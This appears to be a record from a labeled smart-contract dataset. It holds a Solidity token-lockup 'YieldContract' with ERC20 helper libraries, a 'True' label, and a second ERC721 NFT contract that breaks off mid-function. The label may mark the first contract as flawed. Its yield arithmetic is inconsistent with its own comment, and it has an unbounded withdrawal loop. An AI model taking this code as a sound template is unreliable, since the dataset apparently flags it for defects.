* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract YieldContract is YieldRoles {
using SafeERC20 for IERC20;
IERC20 token;
// Timeframe in which it it possible to deposit tokens
uint256 public endDepositTime;
// Max tokens to be deposited
uint256 internal maxTokens;
// Originating wallet for yield payments
address internal yieldWallet;
// Yield rates in 1e18 granularity
uint256 public threeMonthPercentage;
uint256 public sixMonthPercentage;
uint256 public twelveMonthPercentage;
// Main struct for lockup
struct LockBoxStruct {
address beneficiary;
uint balance;
uint releaseTime;
}
LockBoxStruct[] public lockBoxStructs; // This could be a mapping by address, but these numbered lockBoxes support possibility of multiple tranches per address
event LogLockupDeposit(address sender, address beneficiary, uint amount, uint releaseTime);
event LogLockupWithdrawal(address receiver, uint amount);
constructor(address tokenContract, uint256 _endDepositTime, address _yieldWallet, uint256 _maxTokens) public {
token = IERC20(tokenContract);
endDepositTime = _endDepositTime;
yieldWallet = _yieldWallet;
maxTokens = _maxTokens;
}
function getLockBoxBeneficiary(uint256 lockBoxNumber) public view returns(address) {
return lockBoxStructs[lockBoxNumber].beneficiary;
}
// Deposit for 3, 6 or 12 months
function deposit3m(address beneficiary, uint256 amount) external {
deposit(beneficiary, amount, 90 days);
}
function deposit6m(address beneficiary, uint256 amount) external {
deposit(beneficiary, amount, 180 days);
}
function deposit12m(address beneficiary, uint256 amount) external {
deposit(beneficiary, amount, 360 days);
}
function deposit(address beneficiary, uint256 amount, uint256 duration) internal {
require(now < endDepositTime, "Deposit time has ended.");
require(amount < maxTokens, "Token deposit too high, limit breached.");
maxTokens -= amount;
// Define and get amount of yield
uint256 yieldAmount;
if (duration == 90 days) {
yieldAmount = (threeMonthPercentage * amount) / 1e20;
} else if (duration == 180 days) {
yieldAmount = (sixMonthPercentage * amount) / 1e20;
} else if (duration == 360 days) {
yieldAmount = (twelveMonthPercentage * amount) / 1e20;
} else {
revert("Error: duration not allowed!");
}
require(token.transferFrom(yieldWallet, address(this), yieldAmount));
// Get lockable tokens from user
require(token.transferFrom(msg.sender, address(this), amount));
// Build lockbox
LockBoxStruct memory l;
l.beneficiary = beneficiary;
l.balance = amount + yieldAmount;
l.releaseTime = now + duration;
lockBoxStructs.push(l);
emit LogLockupDeposit(msg.sender, l.beneficiary, l.balance, l.releaseTime);
}
// Beneficiaries can update the receiver wallet
function updateBeneficiary(uint256 lockBoxNumber, address newBeneficiary) public {
LockBoxStruct storage l = lockBoxStructs[lockBoxNumber];
require(msg.sender == l.beneficiary);
l.beneficiary = newBeneficiary;
}
function withdraw(uint lockBoxNumber) public {
LockBoxStruct storage l = lockBoxStructs[lockBoxNumber];
require(l.releaseTime <= now);
uint amount = l.balance;
l.balance = 0;
emit LogLockupWithdrawal(l.beneficiary, amount);
require(token.transfer(l.beneficiary, amount));
}
// Helper function to release everything
function triggerWithdrawAll() public {
for (uint256 i = 0; i < lockBoxStructs.length; ++i) {
if (lockBoxStructs[i].releaseTime <= now && lockBoxStructs[i].balance > 0) {
withdraw(i);
}
}
}
// Admin update functions
function updateEndDepositTime (uint256 newEndTime) public onlyOwner {
endDepositTime = newEndTime;
}
function updateYieldWallet(address newWallet) public onlyOwner {
yieldWallet = newWallet;
}
function updateYields(uint256 threeMonths, uint256 sixMonths, uint256 twelveMonths) public onlyOwner {
threeMonthPercentage = threeMonths;
sixMonthPercentage = sixMonths;
twelveMonthPercentage = twelveMonths;
}
function updateMaxTokens(uint256 newMaxTokens) public onlyOwner {
maxTokens = newMaxTokens;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-15
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Integer modulo of two numbers, truncating the remainder.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address owner) external view returns (uint256 balance);
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to account balances
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from tokenId to operator approvals
mapping (uint256 => address) private _tokenApprovals;
// Mapping from account to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
// mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// mapping for token royaltyFee
mapping(uint256 => uint256) private _royaltyFee;
// mapping for token creator
mapping (uint256 => address) private _creator;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
@notice Get the Token balance of an account's.
@param owner The address of the token holder
@return The account's balance of the Token type requested
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
@notice Get the owner of tokenId.
@param tokenId The tokenId of the token holder
@return The current owner of the requested tokenId
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function royaltyFee(uint256 tokenId) public view override returns(uint256) {
return _royaltyFee[tokenId];
}
function getCreator(uint256 tokenId) public view override returns(address) {
return _creator[tokenId];
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param operator Address to add to the set of authorized operators
@param approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
@notice Queries the approval status of an operator for a given owner.
@param owner The owner of the Tokens
@param operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param from Source address
@param to Target address
@param tokenId ID of the token type.
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId, uint256 fee) internal virtual {
_safeMint(to, tokenId, fee, "");
}
function _safeMint(address to, uint256 tokenId, uint256 fee, bytes memory _data) internal virtual {
_mint(to, tokenId, fee);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId, uint256 fee) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
_creator[tokenId] = msg.sender;
_royaltyFee[tokenId] = fee;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* required msg.sender must be owner of the token.
* @param tokenId uint256 Token being burned
*/
function _burn(uint256 tokenId) internal virtual {
require(msg.sender == ownerOf(tokenId),"caller not owner");
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param _tokenURI string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
emit URI(_tokenURI, tokenId);
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
contract VerseBooks721 is ERC721 {
uint256 public tokenCounter;
address public owner;
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
}
constructor (string memory name, string memory symbol, string memory tokenURIPrefix) ERC721 (name, symbol){
tokenCounter = 1;
owner = msg.sender;
_setBaseURI(tokenURIPrefix);
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function ownerTransfership(address newOwner) public onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
return true;
}
function verifySign(string memory tokenURI, Sign memory sign) internal view {
